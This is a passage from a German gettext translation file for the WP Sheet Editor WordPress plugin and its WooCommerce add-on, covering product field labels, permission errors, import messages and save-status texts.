Varianten zu " "laden. Bitte speichern Sie Ihre Änderungen zuerst, sonst gehen diese " "Änderungen verloren. Möchten Sie jetzt neu laden?" #: woocommerce/woocommerce.php:493 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Wir müssen das Arbeitsblatt neu laden, um die Varianten zu entfernen. Bitte " "speichern Sie Ihre Änderungen zuerst, sonst gehen diese Änderungen verloren. " "Möchten Sie jetzt neu laden?" #: woocommerce/woocommerce.php:539 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:395 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:396 msgid "Short description" msgstr "Kurzbeschreibung" #: woocommerce/woocommerce.php:543 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:400 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:401 msgid "Enable reviews" msgstr "Bewertungen aktivieren" #: woocommerce/woocommerce.php:564 wp-sheet-editor/dev/inc/api/helpers.php:453 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:911 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:591 msgid "Vendor" msgstr "Verkäufer" #: woocommerce/woocommerce.php:604 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:432 msgid "Type" msgstr "Typ" #: woocommerce/woocommerce.php:613 msgid "Product gallery" msgstr "Produktgalerie" #: woocommerce/woocommerce.php:620 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:443 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Regulärer Preis" #: woocommerce/woocommerce.php:640 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Sonderpreis" #: woocommerce/woocommerce.php:650 msgid "Sale start date" msgstr "Angebots-Startdatum" #: woocommerce/woocommerce.php:661 msgid "Sale end date" msgstr "Angebots-Enddatum" #: woocommerce/woocommerce.php:671 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:528 msgid "Manage stock" msgstr "Lagerbestand verwalten" #: woocommerce/woocommerce.php:685 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:546 msgid "Stock status" msgstr "Lagerstatus" #: woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:564 msgid "Stock" msgstr "Lager" #: woocommerce/woocommerce.php:710 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:481 msgid "Weight" msgstr "Gewicht" #: woocommerce/woocommerce.php:717 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:493 msgid "Width" msgstr "Breite" #: woocommerce/woocommerce.php:724 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:505 msgid "Height" msgstr "Höhe" #: woocommerce/woocommerce.php:731 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:517 msgid "Length" msgstr "Länge" #: woocommerce/woocommerce.php:737 msgid "Cross-sells" msgstr "Cross-Selling" #: woocommerce/woocommerce.php:744 woocommerce/woocommerce.php:757 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Mehrere SKUs oder IDs eingeben, getrennt durch Kommata" #: woocommerce/woocommerce.php:750 msgid "Upsells" msgstr "Zusatzverkäufe" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:577 msgid "Visibility" msgstr "Sichtbarkeit" #: woocommerce/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:619 msgid "Virtual" msgstr "Virtuell" #: woocommerce/woocommerce.php:789 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:659 msgid "Sold individually" msgstr "Einzeln verkauft" #: woocommerce/woocommerce.php:801 msgid "Is featured?" msgstr "Empfohlen?" #: woocommerce/woocommerce.php:814 msgid "Backorders allowed?" msgstr "Lieferrückstand erlauben?" #: woocommerce/woocommerce.php:819 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:697 msgid "Do not allow" msgstr "Nicht zulassen" #: woocommerce/woocommerce.php:820 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:698 msgid "Allow, but notify customer" msgstr "Zulassen, aber Kunde benachrichtigen" #: woocommerce/woocommerce.php:821 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:699 msgid "Allow" msgstr "Zulassen" #: woocommerce/woocommerce.php:830 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:711 msgid "Purchase note" msgstr "Hinweis zum Kauf" #: woocommerce/woocommerce.php:838 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Shipping class" msgstr "Versandklasse" #: woocommerce/woocommerce.php:846 msgid "Average rating" msgstr "Durchschnittliche Bewertung" #: woocommerce/woocommerce.php:852 msgid "Review count" msgstr "Anzahl der Bewertungen" #: woocommerce/woocommerce.php:858 msgid "Total sales" msgstr "Gesamtbetrag" #: wp-sheet-editor/dev/inc/ajax.php:21 wp-sheet-editor/dev/inc/ajax.php:40 #: wp-sheet-editor/dev/inc/api/helpers.php:504 msgid "You dont have enough permissions to do this action." msgstr "" "Sie haben nicht genügend Berechtigungen, um diese Aktion durchzuführen." #: wp-sheet-editor/dev/inc/ajax.php:33 msgid "Rows deleted successfully" msgstr "Zeilen erfolgreich gelöscht" #: wp-sheet-editor/dev/inc/ajax.php:53 wp-sheet-editor/dev/inc/ajax.php:212 msgid "You dont have enough permissions to load rows." msgstr "Sie haben nicht genügend Berechtigungen zum Laden von Zeilen." #: wp-sheet-editor/dev/inc/ajax.php:88 wp-sheet-editor/dev/inc/ajax.php:172 #: wp-sheet-editor/dev/inc/ajax.php:186 msgid "You dont have enough permissions to save changes." msgstr "Sie haben nicht genügend Berechtigungen zum Speichern von Änderungen." #: wp-sheet-editor/dev/inc/ajax.php:101 msgid "Changes saved successfully" msgstr "Änderungen erfolgreich gespeichert" #: wp-sheet-editor/dev/inc/ajax.php:111 msgid "You dont have enough permissions to create new rows." msgstr "Sie haben nicht genügend Berechtigungen, um neue Zeilen zu erstellen." #: wp-sheet-editor/dev/inc/ajax.php:152 msgid "No items found." msgstr "Keine Elemente gefunden." #: wp-sheet-editor/dev/inc/ajax.php:195 #: wp-sheet-editor/dev/inc/api/helpers.php:696 msgid "Error: %s" msgstr "Fehler: %s" #: wp-sheet-editor/dev/inc/ajax.php:201 msgid "Saved: %s" msgstr "Gespeichert: %s" #: wp-sheet-editor/dev/inc/ajax.php:252 wp-sheet-editor/dev/inc/ajax.php:272 msgid "You dont have enough permissions to search taxonomy terms." msgstr "" "Sie haben nicht genügend Berechtigungen für die Suche nach " "Taxonomiebegriffen." #: wp-sheet-editor/dev/inc/ajax.php:301 msgid "No taxonomies found." msgstr "Keine Taxonomien gefunden." #: wp-sheet-editor/dev/inc/api/bootstrap.php:48 msgid "Error 8391. You dont have enough permissions to view this page." msgstr "" "Fehler 8391. Sie haben nicht genügend Berechtigungen, um diese Seite " "anzuzeigen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:104 msgid "Open in a Spreadsheet" msgstr "In einem Arbeitsblatt öffnen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:129 #: wp-sheet-editor/dev/inc/api/columns.php:240 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "%s bearbeiten" #: wp-sheet-editor/dev/inc/api/bootstrap.php:195 #: wp-sheet-editor/dev/views/support-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:121 msgid "Help" msgstr "Hilfe" #: wp-sheet-editor/dev/inc/api/bootstrap.php:204 #: wp-sheet-editor/dev/views/whats-new.php:46 #: wp-sheet-editor/dev/wp-sheet-editor.php:925 msgid "Extensions" msgstr "Erweiterungen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:225 msgid "Add new posts" msgstr "Neue Beiträge hinzufügen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:231 msgid "Load" msgstr "Laden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 msgid "Exit Full Screen" msgstr "Vollbildmodus verlassen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:245 msgid "Show cells as simple text" msgstr "Zellen als einfachen Text anzeigen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:248 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Standardmäßig werden Datumsangaben in einem Kalender angezeigt, Beitrags-" "Inhalte haben eine Texteditor-Option, Bilder werden als Vorschau angezeigt " "usw. Sie können diese Option aktivieren, um alles als reinen Text " "anzuzeigen, und die gefällige Formatierung zu deaktivieren." #: wp-sheet-editor/dev/inc/api/bootstrap.php:255 msgid "Load more on scroll" msgstr "Mehr beim Scrollen laden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:258 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Wenn dies aktiviert ist, werden weitere Elemente am Ende des Arbeitsblatts " "geladen, wenn Sie das Ende der Seite erreichen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:266 msgid "Scan DB to find fields" msgstr "DB durchsuchen, um Felder zu finden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:270 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Wir können die Datenbank durchsuchen, neue Felder finden und automatisch " "Spalten für die unterstützten Felder erstellen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 #: wp-sheet-editor/dev/inc/api/bootstrap.php:282 msgid "All changes saved." msgstr "Alle Änderungen gespeichert." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 msgid "Saving changes, don't close this page." msgstr "Änderungen werden gespeichert, diese Seite nicht schließen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 msgid "Some changes are not saved yet." msgstr "Einige Änderungen sind noch nicht gespeichert." #: wp-sheet-editor/dev/inc/api/bootstrap.php:384 msgid "URL Slug" msgstr "URL-Slug" #: wp-sheet-editor/dev/inc/api/bootstrap.php:401 #: wp-sheet-editor/dev/inc/api/bootstrap.php:424 msgid "Content" msgstr "Inhalt" #: wp-sheet-editor/dev/inc/api/bootstrap.php:412 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Verwenden Sie diesen Editor nur zum Bearbeiten des Inhalts, andere Felder " "wie Tags und Kategorien sollten im Arbeitsblatt bearbeitet werden." #: wp-sheet-editor/dev/inc/api/bootstrap.php:443 msgid "WP Editor" msgstr "WP Editor" #: wp-sheet-editor/dev/inc/api/bootstrap.php:457 msgid "View" msgstr "Anzeigen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:481 msgid "Modified Date" msgstr "Datum geändert" #: wp-sheet-editor/dev/inc/api/bootstrap.php:509 msgid "Excerpt" msgstr "Auszug" #: wp-sheet-editor/dev/inc/api/bootstrap.php:521 msgid "Delete completely" msgstr "Vollständig löschen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:540 msgid "Comments" msgstr "Kommentare" #: wp-sheet-editor/dev/inc/api/bootstrap.php:561 msgid "Page Parent" msgstr "Übergeordnete Seite" #: wp-sheet-editor/dev/inc/api/bootstrap.php:572 msgid "Order" msgstr "Bestellung" #: wp-sheet-editor/dev/inc/api/bootstrap.php:618 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr "" ". Fügen Sie untergeordnete Kategorien in diesem Format hinzu: Hauptkategorie " "> Unterkategorie1 > Unterkategorie2" #: wp-sheet-editor/dev/inc/api/bootstrap.php:625 msgid "Enter multiple terms separated by commas" msgstr "Mehrere Begriffe eingeben, getrennt durch Kommata" #: wp-sheet-editor/dev/inc/api/bootstrap.php:646 msgid "Post type" msgstr "Beitragstyp" #: wp-sheet-editor/dev/inc/api/bootstrap.php:664 msgid "Password" msgstr "Passwort" #: wp-sheet-editor/dev/inc/api/editor.php:47 msgid "Please select at least one column to import" msgstr "Bitte wählen Sie mindestens eine Spalte zum Importieren aus" #: wp-sheet-editor/dev/inc/api/editor.php:48 msgid "Show column key" msgstr "Spaltenschlüssel anzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:49 msgid "Click here to show all columns again" msgstr "Klicken Sie hier, um wieder alle Spalten anzuzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:50 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds)." "
                  2- You can start a new import, sometimes trying again works (use the " "\"advanced settings\" in the step 1 of the import to start from a specific " "row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying " "with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "Die letzte Importverarbeitung ist aufgrund eines Serverfehlers " "fehlgeschlagen, wahrscheinlich war der Server überlastet.
                  1- Sie können " "versuchen, je Zyklus
                  weniger Zeilen zu " "importieren (d.h. importieren Sie 2 Zeilen alle paar Sekunden).
                  2- " "Sie können einen neuen Import starten, manchmal funktioniert ein erneuter " "Versuch (verwenden Sie die \"erweiterten Einstellungen\" in Schritt 1 des " "Imports, um von einer bestimmten Zeile aus zu beginnen).
                  3- Sie können " "den PHP-Speicher erhöhen (folgen Sie diesem " "Tutorial)
                  4 - Wenn das Problem nach dem Versuch mit 1 Zeile je Zyklus " "auftritt, können Sie uns kontaktieren " "und wir werden das Problem für Sie lösen" #: wp-sheet-editor/dev/inc/api/editor.php:51 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Ihr Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Wollen Sie " "es erneut versuchen? Sie können es 3 mal versuchen. Schlagen 3 Versuche " "fehl, stoppen wir den Import vollständig." #: wp-sheet-editor/dev/inc/api/editor.php:52 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Bitte korrigieren Sie den Fehler in der Datei, und starten Sie einen neuen " "Import. Sie können die \"Erweiterten Optionen\" im Schritt 1 des Imports " "verwenden, um von dieser speziellen Zeile aus zu beginnen." #: wp-sheet-editor/dev/inc/api/editor.php:53 msgid "

                  The import has finished

                  " msgstr "

                  Der Import ist abgeschlossen

                  " #: wp-sheet-editor/dev/inc/api/editor.php:54 msgid "

                  The process has finished

                  " msgstr "

                  Der Prozess ist abgeschlossen

                  " #: wp-sheet-editor/dev/inc/api/editor.php:55 msgid "The selected product does not have variations" msgstr "Das ausgewählte Produkt hat keine Varianten" #: wp-sheet-editor/dev/inc/api/editor.php:56 msgid "empty" msgstr "leer" #: wp-sheet-editor/dev/inc/api/editor.php:57 msgid "This will save you {clicks_count} clicks :)" msgstr "Dies erspart Ihnen {clicks_count} Klicks :)" #: wp-sheet-editor/dev/inc/api/editor.php:58 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Wir haben ähnliche Spalten gefunden. Wollen Sie dieselbe Aktion auf sie " "anwenden? {columns}" #: wp-sheet-editor/dev/inc/api/editor.php:59 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Diese Spalte ist nur für Varianten relevant, übergeordnete Produkte " "verwenden dieses Feld nicht" #: wp-sheet-editor/dev/inc/api/editor.php:60 msgid "Editing the field: {field_label}" msgstr "Bearbeiten des Feldes {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:61 msgid "Column not found. Try with another search criteria." msgstr "Spalte nicht gefunden. Versuchen Sie es mit anderen Suchkriterien." #: wp-sheet-editor/dev/inc/api/editor.php:62 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Diese Spalte ist nur für übergeordnete Produkte, Varianten verwenden dieses " "Feld nicht" #: wp-sheet-editor/dev/inc/api/editor.php:63 msgid "Paste using keyboard: Ctrl+V" msgstr "Einfügen über die Tastatur: Strg+V" #: wp-sheet-editor/dev/inc/api/editor.php:64 msgid "Realign cells" msgstr "Zellen neu ausrichten" #: wp-sheet-editor/dev/inc/api/editor.php:65 msgid "Remove all filters" msgstr "Alle Filter entfernen" #: wp-sheet-editor/dev/inc/api/editor.php:66 msgid "Resize columns based on the values" msgstr "Spaltengröße ändern basierend auf den Werten" #: wp-sheet-editor/dev/inc/api/editor.php:67 msgid "Delete row" msgstr "Zeile löschen" #: wp-sheet-editor/dev/inc/api/editor.php:68 msgid "" "We will delete the selected row(s) from the database completely. If you want " "to restore them later, you should make a backup before. Do you want to " "delete them?" msgstr "" "Wir werden die ausgewählte(n) Zeile(n) vollständig aus der Datenbank " "löschen. Wenn Sie sie später wiederherstellen möchten, sollten Sie vorher " "eine Sicherung machen. Wollen Sie sie löschen?" #: wp-sheet-editor/dev/inc/api/editor.php:69 msgid "Duplicate row" msgstr "Zeile duplizieren" #: wp-sheet-editor/dev/inc/api/editor.php:70 msgid "Hide column" msgstr "Spalte ausblenden" #: wp-sheet-editor/dev/inc/api/editor.php:71 msgid "Bulk edit column" msgstr "Spalte insgesamt bearbeiten" #: wp-sheet-editor/dev/inc/api/editor.php:73 msgid "Copy variations from this product" msgstr "Varianten dieses Produkts kopieren" #: wp-sheet-editor/dev/inc/api/editor.php:75 msgid "Delete field" msgstr "Feld löschen" #: wp-sheet-editor/dev/inc/api/editor.php:76 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Wir werden dieses Metafeld aus der Datenbank löschen, und Sie verlieren in " "allen Zeilen die in diesem Feld gespeicherten Werte. Sie sollten ein Backup " "erstellen, um in Zukunft eine Wiederherstellung durchführen zu können. " "Wollen Sie mit dem Löschen fortfahren?" #: wp-sheet-editor/dev/inc/api/editor.php:77 msgid "Edit meta key" msgstr "Meta-Schlüssel bearbeiten" #: wp-sheet-editor/dev/inc/api/editor.php:78 msgid "Error: The new value is empty or is equal to the old value" msgstr "Fehler: Der neue Wert ist leer oder gleich dem alten Wert" #: wp-sheet-editor/dev/inc/api/editor.php:79 msgid "Showing rows from your last session." msgstr "Zeilen aus Ihrer letzten Sitzung werden angezeigt." #: wp-sheet-editor/dev/inc/api/editor.php:80 msgid "Export column" msgstr "Spalte exportieren" #: wp-sheet-editor/dev/inc/api/editor.php:81 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  Die Massenbearbeitung wurde nicht vollständig abgewickelt. Der Vorgang " "wurde aufgrund eines Fehlers abgebrochen.

                  Sie können dieses Fenster " "schließen.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:82 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  Der Prozess wurde nicht abgeschlossen. Der Prozess wurde aufgrund eines " "Fehlers abgebrochen.

                  Sie können dieses Fenster schließen.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:83 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "Ihr Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Wollen Sie " "es erneut versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:84 msgid "The bulk edit was executed successfully. You can close this window" msgstr "" "Die Massenbearbeitung wurde erfolgreich ausgeführt. Sie können dieses " "Fenster schließen" #: wp-sheet-editor/dev/inc/api/editor.php:86 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "SPALTEN AKTIVIEREN. Diese Spalten erfordern ein Neuladen der Seite: " "{columns}. Möchten Sie jetzt neu laden? Wir werden automatisch neu laden" #: wp-sheet-editor/dev/inc/api/editor.php:87 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Spalte entfernt. Gehen Sie zu \"Einstellungen > Spalten ein-/ausblenden\", " "um sie wieder zu aktivieren" #: wp-sheet-editor/dev/inc/api/editor.php:88 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Sie haben Beiträge geändert. Bitte speichern Sie die Änderungen, denn wir " "werden das Arbeitsblatt aktualisieren." #: wp-sheet-editor/dev/inc/api/editor.php:89 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Sie haben Zeilen geändert. Bitte speichern Sie die Änderungen, bevor Sie " "Spalten aus dem Arbeitsblatt entfernen." #: wp-sheet-editor/dev/inc/api/editor.php:90 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Sie haben Beiträge geändert. Bitte speichern Sie die Änderungen, denn wir " "werden das Arbeitsblatt aktualisieren. Möchten Sie jetzt aktualisieren?" #: wp-sheet-editor/dev/inc/api/editor.php:91 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Einige Zeilen wurden im Hintergrund modifiziert. Bitte speichern Sie die " "Änderungen und laden Sie das Arbeitsblatt neu, um die Änderungen zu sehen" #: wp-sheet-editor/dev/inc/api/editor.php:92 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Einige Zeilen wurden im Arbeitsblatt geändert. Bitte speichern Sie die " "Änderungen, bevor Sie diese Funktion verwenden." #: wp-sheet-editor/dev/inc/api/editor.php:93 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "Wir haben keine zu aktualisierenden Zeilen aus der Suchanfrage gefunden. " "Bitte versuchen Sie eine andere Suche." #: wp-sheet-editor/dev/inc/api/editor.php:94 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Hier finden Sie alle Einstellungen, wie z.B. die Sichtbarkeit der Spalten, " "usw." #: wp-sheet-editor/dev/inc/api/editor.php:95 msgid "Oops, nothing found" msgstr "Hoppla, nichts gefunden" #: wp-sheet-editor/dev/inc/api/editor.php:96 msgid "You can create new items here" msgstr "Sie können hier neue Elemente erstellen" #: wp-sheet-editor/dev/inc/api/editor.php:97 msgid "Upload image" msgstr "Bild hochladen" #: wp-sheet-editor/dev/inc/api/editor.php:98 msgid "View Gallery" msgstr "Galerie anzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:99 msgid "No options available" msgstr "Keine Optionen verfügbar" #: wp-sheet-editor/dev/inc/api/editor.php:100 #: wp-sheet-editor/dev/inc/api/helpers.php:1032 msgid "Items loaded in the spreadsheet" msgstr "Im Arbeitsblatt geladene Elemente" #: wp-sheet-editor/dev/inc/api/editor.php:101 msgid "New rows added" msgstr "Neue Zeilen hinzugefügt" #: wp-sheet-editor/dev/inc/api/editor.php:102 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "Die Massenbearbeitung wurde ausgeführt. Möchten Sie die Seite neu laden, um " "die Änderungen zu sehen?" #: wp-sheet-editor/dev/inc/api/editor.php:103 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Die Änderungen wurden nicht vollständig gespeichert. Der Vorgang wurde " "aufgrund eines Fehlers abgebrochen.

                  Sie können dieses Popup schließen." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:104 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  Das automatische Speichern ist fehlgeschlagen. Ihre Änderungen wurden " "aufgrund eines Fehlers nicht vollständig gespeichert. Sie können es später " "erneut versuchen; wenn der Fehler weiterhin besteht, kontaktieren Sie unser " "Support-Team und lassen Sie diese Registerkarte geöffnet

                  " #: wp-sheet-editor/dev/inc/api/editor.php:105 msgid "{updated} items saved of {total} items that need saving." msgstr "" "{updated} gespeicherte Elemente von {total} Elementen, die gespeichert " "werden müssen." #: wp-sheet-editor/dev/inc/api/editor.php:106 msgid "{deleted} duplicates have been removed." msgstr "{deleted} Duplikate wurden entfernt." #: wp-sheet-editor/dev/inc/api/editor.php:107 msgid "All items have been saved." msgstr "Alle Elemente wurden gespeichert." #: wp-sheet-editor/dev/inc/api/editor.php:108 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Bitte überprüfen Sie, ob Sie ungespeicherte Änderungen haben. Wenn ja, " "speichern Sie sie bitte, sonst werden sie verworfen." #: wp-sheet-editor/dev/inc/api/editor.php:109 msgid "Everything is already saved." msgstr "Alles ist bereits gespeichert." #: wp-sheet-editor/dev/inc/api/editor.php:110 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "Der Server hat unsere Anfrage nicht angenommen. Schlechte Anfrage, bitte " "versuchen Sie, die Seite zu aktualisieren und versuchen Sie es erneut." #: wp-sheet-editor/dev/inc/api/editor.php:111 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "Der Server hat unsere Anfrage nicht angenommen. Sie haben keine Erlaubnis, " "diese Aktion durchzuführen. Bitte loggen Sie sich erneut ein." #: wp-sheet-editor/dev/inc/api/editor.php:112 msgid "The server is not available or overloaded. Please try again later." msgstr "" "Der Server ist nicht verfügbar oder überlastet. Bitte versuchen Sie es " "später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:113 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "Der Server ist nicht verfügbar oder überlastet. Wollen Sie es erneut " "versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:114 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "Die automatische Speicherung ist fehlgeschlagen: Der Server ist nicht " "verfügbar oder überlastet. Wollen Sie es erneut versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:115 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "Der Server war nicht in der Lage, unsere Anfrage zu bearbeiten. Server-" "Fehler. Bitte versuchen Sie es später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:116 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "Der Server hat die ihm zugewiesenen Ressourcen überschritten und ist nicht " "in der Lage, unsere Anfrage zu bearbeiten." #: wp-sheet-editor/dev/inc/api/editor.php:117 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "Der Server ist ausgelastet und hat zu lange gebraucht, um auf unsere Anfrage " "zu antworten. Bitte versuchen Sie es später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:118 msgid "The server could not process our request. Please try again later." msgstr "" "Der Server konnte unsere Anfrage nicht bearbeiten. Bitte versuchen Sie es " "später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:236 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Sie können diese Hilfemitteilungen in den erweiterten Einstellungen " "entfernen)" #: wp-sheet-editor/dev/inc/api/editor.php:269 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:270 msgid "Enable" msgstr "Aktivieren" #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "

                  Missing column?

                  " msgstr "" "

                  Fehlende Spalte?

                  " #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "Verdienen wir eine 5-Sterne-Bewertung? Ja, Sie haben sie " "verdient. - . Nein" #: wp-sheet-editor/dev/inc/api/helpers.php:363 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Pro-Erweiterung)" #: wp-sheet-editor/dev/inc/api/helpers.php:367 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Kostenlose Erweiterung installieren)" #: wp-sheet-editor/dev/inc/api/helpers.php:464 msgid "The item could not be saved. Please try again in other moment." msgstr "" "Das Element konnte nicht gespeichert werden. Bitte versuchen Sie es später " "noch einmal." #: wp-sheet-editor/dev/inc/api/helpers.php:774 msgid "User not allowed to edit rows" msgstr "Benutzer darf keine Zeilen bearbeiten" #: wp-sheet-editor/dev/inc/api/helpers.php:1005 msgid "No more posts available." msgstr "Keine Beiträge mehr verfügbar." #: wp-sheet-editor/dev/inc/api/helpers.php:1007 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "Es wurden keine Beiträge gefunden, die Ihren Suchparametern entsprechen. Sie " "können die aktiven Filter entfernen oder eine andere Suche ausprobieren." #: wp-sheet-editor/dev/inc/api/helpers.php:1009 msgid "No posts available for the current page." msgstr "Keine Beiträge für die aktuelle Seite verfügbar." #: wp-sheet-editor/dev/inc/api/logger.php:64 msgid "The log file does not exist." msgstr "Die Logdatei ist nicht vorhanden." #: wp-sheet-editor/dev/inc/integrations/elementor.php:37 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "Live" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Geschwindigkeit und Leistung" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "" "Zeilen schneller laden: Anzahl der je Verarbeitungszyklus zu ladenden Zeilen" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination 